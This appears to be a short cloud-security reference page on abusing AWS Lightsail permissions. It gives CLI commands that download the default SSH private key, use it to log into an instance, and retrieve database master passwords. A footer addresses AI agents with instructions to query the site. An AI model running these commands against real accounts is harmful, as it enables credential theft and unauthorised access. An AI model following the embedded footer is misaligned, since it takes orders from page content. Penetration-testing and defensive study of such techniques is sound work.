# Lightsail

## lightsail:DownloadDefaultKeyPair

* With this action available, you can download the default SSH key pair used by EC2 instances spun up in Lightsail

{% code overflow="wrap" %}

```bash
# download key to a .pem file
aws lightsail download-default-key-pair --query privateKeyBase64 --output text > lightsail.pem

# change permissions 
chmod 400 lightsail.pem

# ssh 
ssh -i lightsail.pem ec2-user@3.91.3.46
```

{% endcode %}

* To know which SSH key is being used for which instance, run&#x20;

{% code overflow="wrap" %}

```bash
# lightsail:GetInstances
aws lightsail get-instances --query 'instances[].sshKeyName' --output text
 
# lightsail:GetInstance
aws lightsail get-instance --instance-name instance-1 --query 'instance.sshKeyName'
```

{% endcode %}

***

## lightsail:GetRelationalDatabaseMasterUserPassword

* Retrieve the master password for the RDS database
* List the RDS database names

{% code overflow="wrap" %}

```zsh
aws lightsail get-relational-databases
```

{% endcode %}

* Retreive the master password for a particular database

{% code overflow="wrap" %}

```zsh
aws lightsail get-relational-database-master-user-password --relational-database-name <database-name>
```

{% endcode %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.techwithtyler.dev/cloud-security/aws/aws-offensive-security/aws-privilege-escalation/lightsail.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
